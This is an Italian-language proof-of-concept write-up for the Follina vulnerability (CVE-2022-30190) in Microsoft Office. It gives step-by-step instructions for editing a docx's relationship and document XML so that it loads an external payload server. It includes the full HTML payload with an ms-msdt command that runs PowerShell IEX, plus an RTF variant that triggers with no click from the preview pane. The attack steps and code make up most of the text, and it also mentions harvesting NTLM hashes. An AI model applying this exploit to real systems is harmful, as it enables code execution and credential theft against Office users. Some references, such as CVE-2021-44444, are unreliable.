
Exploit proof-of-concept per CVE-2022-30190 (Follina), che dimostra l'esecuzione remota di codice tramite documenti Microsoft Office appositamente predisposti che sfruttano il gestore URI ms-msdt.
Info : Nuovo zero-day di Microsoft Office usato in attacchi per eseguire PowerShell
Il 29 maggio 2022, il team Nao_Sec, un team indipendente di ricerca sulla cyber security, ha scoperto un documento Office dannoso condiviso su Virustotal. Questo documento sta utilizzando uno schema insolito, ma noto, per infettare le vittime. Lo schema non è stato rilevato come dannoso da alcuni EDR, come Microsoft Defender for Endpoint. Questa vulnerabilità potrebbe portare a esecuzione di codice senza la necessità di interazione da parte dell'utente, poiché non coinvolge macro, tranne se la modalità Visualizzazione protetta è abilitata. Non è ancora stato attribuito alcun numero CVE.
La vulnerabilità viene sfruttata utilizzando lo schema URI MSProtocol per caricare del codice. Gli attaccanti potrebbero incorporare collegamenti dannosi all'interno di documenti, modelli o email di Microsoft Office che iniziano con ms-msdt: verrebbero caricati ed eseguiti successivamente senza interazione da parte dell'utente
I file docx di MS Office possono contenere riferimenti a oggetti OLE esterni come file HTML. Esiste uno schema HTML "ms-msdt:" che richiama lo strumento di diagnostica msdt, in grado di eseguire codice arbitrario (specificato nei parametri).
Il risultato è un vettore d'attacco terrificante per ottenere RCE tramite l'apertura di file docx dannosi (senza usare macro).
Ecco i passaggi per creare un docx proof-of-concept:
Apri Word (usato l'aggiornato 2019 Pro, 16.0.10386.20017), crea un documento fittizio, inserisci un oggetto (OLE) (come immagine bitmap), salvalo in docx.
Modifica word/_rels/document.xml.rels nella struttura docx (è un semplice zip). Modifica il tag XML <Relationship> con l'attributo
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
e Target="embeddings/oleObject1.bin" modificando il valore di Target e aggiungendo l'attributo TargetMode:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Nota il valore Id (probabilmente è "rId5").
word/document.xml. Cerca il tag "<o:OLEObject ..>" (con r:id="rId5") e cambia l'attributo da Type="Embed" a Type="Link" e aggiungi l'attributo UpdateMode="OnCall".NOTA: Il docx dannoso creato è quasi lo stesso di quello per CVE-2021-44444.
http://<payload_server>/payload.html:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Nota che:
Inoltre, il payload attivante può raggiungere posizioni remote. Anche se è improbabile che richiami un binario non attendibile, la connessione trasporterà comunque hash NTLM (il che significa che i malintenzionati ora hanno un hash della password Windows della vittima) che potrebbero essere usati da un avversario per ulteriore post-exploitation.
Se aggiungi anche questi elementi sotto l'elemento <o:OLEObject> in word/document.xml al punto 3:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
funzionerà anche come RTF (apri il docx risultante e salvalo come RTF).
Con l'RTF non c'è bisogno di aprire il file in Word: basta sfogliare il file e guardarlo in un riquadro di anteprima. Il riquadro di anteprima attiva il payload HTML esterno e l'RCE è lì senza alcun clic.